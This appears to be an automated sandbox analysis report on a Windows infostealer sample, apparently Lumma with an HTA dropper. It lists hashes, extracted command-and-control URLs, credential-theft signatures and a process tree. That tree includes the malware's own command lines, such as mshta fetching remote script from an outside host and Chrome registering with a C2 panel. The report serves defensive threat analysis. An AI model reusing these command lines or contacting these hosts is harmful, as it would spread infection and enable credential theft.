Analysis
- max time kernel
149s - max time network
129s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
24/05/2026, 17:26
Static task
static1
Behavioral task
behavioral1
Sample
tmpig0myjfo.exe
Resource
win10v2004-20260513-en
General
- Target tmpig0myjfo.exe
- Size 31.4MB
- Sample260524-vz2faact3q
- SHA256 7932533ad4851a326bfe93f158e83bc5fd20cae88ee4fbbba98dbb03cca5c31f
- MD5 1f24a8e9a5cd8a33874800fe809192b2
- SHA1 6a35b83bc00dd888d96a3291967ee239f9688024
- SHA512 ff38a377cc5863571d9c100d483598ed598ab136cd2e88f9764f8163393613b1a9118a0cf549901b7467218ba23006333e11de87262cb33ab69c15f298441bef
- SSDEEP 393216:zKwZFjzq9ZA/0Mzp+j3MtzqjX1Kwxqj8XWz1GgjiNX5R6BH3T8:p2Wp+j3M2Kwxqj80ogjiNJ3
- TLSH T14877CE11B7E80126F4B7973099B79622AA36FD521B31C3DF1294B66D2E337C09E31726
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
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hta
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hta.dropper
https://snconor.vg
Extracted
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lumma
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https://springvc.cyou
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https://decrnoj.club/xxx
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https://pomflgf.vu/help
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https://carytui.vu/caccc
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https://mushxhb.best/info
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https://genugsq.best/main
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https://ulmudhw.shop/create
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https://strikql.shop/owner
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https://longmbx.click/manifest
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build_id
83af73e8484fc9f764374a223760d87d773a2c346e
Signatures
- Badlisted process makes network request 5 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 41 1836 mshta.exe 42 1836 mshta.exe 43 1836 mshta.exe 44 1836 mshta.exe 45 1836 mshta.exe - Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SystemTemp chrome.exe - System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language tmpig0myjfo.exe - System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
pid Process 2988 chrome.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Internet Explorer\Styles mshta.exe Set value (int) \REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Internet Explorer\Styles\MaxScriptStatements = "10000000" mshta.exe - Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry chrome.exe Set value (int) \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134241172039498351" chrome.exe - Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ chrome.exe - Suspicious behavior: EnumeratesProcesses 14 IoCs
pid Process 4228 tmpig0myjfo.exe 4228 tmpig0myjfo.exe 4228 tmpig0myjfo.exe 4228 tmpig0myjfo.exe 1048 chrome.exe 1048 chrome.exe 4228 tmpig0myjfo.exe 4228 tmpig0myjfo.exe 4228 tmpig0myjfo.exe 4228 tmpig0myjfo.exe 4228 tmpig0myjfo.exe 4228 tmpig0myjfo.exe 4228 tmpig0myjfo.exe 4228 tmpig0myjfo.exe - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs
pid Process 1048 chrome.exe 1048 chrome.exe 1048 chrome.exe - Suspicious use of AdjustPrivilegeToken 16 IoCs
description pid Process Token: SeShutdownPrivilege 1048 chrome.exe Token: SeCreatePagefilePrivilege 1048 chrome.exe Token: SeShutdownPrivilege 1048 chrome.exe Token: SeCreatePagefilePrivilege 1048 chrome.exe Token: SeShutdownPrivilege 1048 chrome.exe Token: SeCreatePagefilePrivilege 1048 chrome.exe Token: SeShutdownPrivilege 1048 chrome.exe Token: SeCreatePagefilePrivilege 1048 chrome.exe Token: SeShutdownPrivilege 1048 chrome.exe Token: SeCreatePagefilePrivilege 1048 chrome.exe Token: SeShutdownPrivilege 1048 chrome.exe Token: SeCreatePagefilePrivilege 1048 chrome.exe Token: SeShutdownPrivilege 1048 chrome.exe Token: SeCreatePagefilePrivilege 1048 chrome.exe Token: SeSecurityPrivilege 1836 mshta.exe Token: SeSecurityPrivilege 1836 mshta.exe - Suspicious use of FindShellTrayWindow 34 IoCs
pid Process 1048 chrome.exe 1048 chrome.exe 1048 chrome.exe 1048 chrome.exe 1048 chrome.exe 1048 chrome.exe 1048 chrome.exe 1048 chrome.exe 1048 chrome.exe 1048 chrome.exe 1048 chrome.exe 1048 chrome.exe 1048 chrome.exe 1048 chrome.exe 1048 chrome.exe 1048 chrome.exe 1048 chrome.exe 1048 chrome.exe 1048 chrome.exe 1048 chrome.exe 1048 chrome.exe 1048 chrome.exe 1048 chrome.exe 1048 chrome.exe 1048 chrome.exe 1048 chrome.exe 1048 chrome.exe 1048 chrome.exe 1048 chrome.exe 1048 chrome.exe 1048 chrome.exe 1048 chrome.exe 1048 chrome.exe 1048 chrome.exe - Suspicious use of WriteProcessMemory 15 IoCs
description pid Process procid_target PID 4228 wrote to memory of 1048 4228 tmpig0myjfo.exe 81 PID 1048 wrote to memory of 4732 1048 chrome.exe 82 PID 1048 wrote to memory of 1984 1048 chrome.exe 83 PID 1048 wrote to memory of 1984 1048 chrome.exe 83 PID 1048 wrote to memory of 2988 1048 chrome.exe 84 PID 1048 wrote to memory of 4100 1048 chrome.exe 85 PID 1048 wrote to memory of 4100 1048 chrome.exe 85 PID 1048 wrote to memory of 2148 1048 chrome.exe 86 PID 1048 wrote to memory of 2148 1048 chrome.exe 86 PID 1048 wrote to memory of 5104 1048 chrome.exe 87 PID 1048 wrote to memory of 5104 1048 chrome.exe 87 PID 1048 wrote to memory of 972 1048 chrome.exe 88 PID 1048 wrote to memory of 972 1048 chrome.exe 88 PID 1048 wrote to memory of 3596 1048 chrome.exe 90 PID 4228 wrote to memory of 1836 4228 tmpig0myjfo.exe 93 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\tmpig0myjfo.exe"C:\Users\Admin\AppData\Local\Temp\tmpig0myjfo.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4228 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" springvc.cyou/api/set_agent?id=A2CA0E71BD24956701AEC7B30ADF174C&token=83af73e8484fc9f764374a223760d87d773a2c346e&description=&agent=Chrome2⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:1048 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffed4b9c728,0x7ffed4b9c734,0x7ffed4b9c7403⤵PID:4732
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1600,i,6130818065946559611,8194430975646482815,262144 --field-trial-handle=1956,i,883223947039299947,5483733154251712388,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1952 /prefetch:23⤵PID:1984
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2248,i,454754613893449746,13328118086751254152,524288 --field-trial-handle=1956,i,883223947039299947,5483733154251712388,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2252 /prefetch:113⤵
- System Time Discovery
PID:2988
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2376,i,10582355730687939961,17939403315404583728,524288 --field-trial-handle=1956,i,883223947039299947,5483733154251712388,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2692 /prefetch:133⤵PID:4100
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3052,i,11256790232715947130,6252320004086767382,2097152 --field-trial-handle=1956,i,883223947039299947,5483733154251712388,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3164 /prefetch:13⤵PID:2148
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3068,i,3891589760330672513,1779958552911460420,2097152 --field-trial-handle=1956,i,883223947039299947,5483733154251712388,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3204 /prefetch:13⤵PID:5104
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4232,i,821876792359737992,6542752252749694906,2097152 --field-trial-handle=1956,i,883223947039299947,5483733154251712388,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4244 /prefetch:93⤵PID:972
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5288,i,8875975717124406556,10202111978593112251,524288 --field-trial-handle=1956,i,883223947039299947,5483733154251712388,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5292 /prefetch:143⤵PID:3596
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C:\Windows\SYSTEM32\mshta.exemshta.exe https://snconor.vg2⤵
- Badlisted process makes network request
- Modifies Internet Explorer settings
- Suspicious use of AdjustPrivilegeToken
PID:1836
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C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵PID:2412
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵PID:464
Network
MITRE ATT&CK Enterprise v16
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
3Credentials In Files
3Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
- Size 2B
- SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
- MD5 d751713988987e9331980363e24189ce
- SHA1 97d170e1550eee4afc0af065b78cda302a97674c
- SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
- Size 138KB
- SHA256 a9f14101713c139c45510f8da5e2a6fd8c6dde137f109f9542080d550fd275d6
- MD5 3d479a1d8f9aa035a5e3fd118a6c3aa2
- SHA1 f041219a5d2d41e90ff74465a3b4b51313601f7f
- SHA512 d64fd2e2934b72594199e9f6b9e8753072a285ee6182382c788b4fc47e83dc06b69faf2c5d21c30a15de4dd55c521b1ce815884cd50525cd209fb1afecd606c2
- SSDEEP 192:tB+XuvBnl3JsueMEGvIW1/rcP2OLZTpX6pqUVumeBwkuc8:jeuvBnhJsueMEGvIW1DcP2OX0VumMnu5
- TLSH T1E9D3884B3A743002EDE69A722CE0517B5D3CB16D8F51E5D428B620688EF2953A23D4FF
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\e9d91b8b-aeff-4f7f-b2c2-205bfdaa95b7.tmp
- Size 6B
- SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
- MD5 377d072e137022223a370760763420bb
- SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
- SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
- Size 13B
- SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
- MD5 43ef949d3c6e9956545979ace65d0085
- SHA1 63f2b2de8727854597e49a1216e8e74c68117c07
- SHA512 313a5ab7ac9b5efd955beba4615784bdc2a9058ddaa804d85fb2d0c651dd3de07e382d61a1bb482499520a80e0b64c004ff2af03459cbc1daef47f540f0a6905
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 115KB
- SHA256 2cde54156f4d11cddc36225341b63681916f954bac099237d3f06db244f1a50e
- MD5 6f2e62062ce23c62dd95363ae615f68c
- SHA1 7b75581e9f85d53d2fdf4c35cf14998774c317e7
- SHA512 fc08f630fc50da024019b6ba94629f77671514b6450bff7bff5b82498c62ccc6e9989ba7cc62e452f70798c964c5658ac4d87e7120dd7da5d9a22daff85cb63c
- SSDEEP 3072:NGm7D5Lk17ox1tIpud63U8BehbCBi9fTrMa:Em7Rkm1tYpBeh2BAoa
- TLSH T1B0C312379E71A9775979BB4EB08E0B1F1EF149A2D920DE42C8D85B0437FA7CD0A05934
- MD5 SHA1 SHA512 SSDEEP TLSH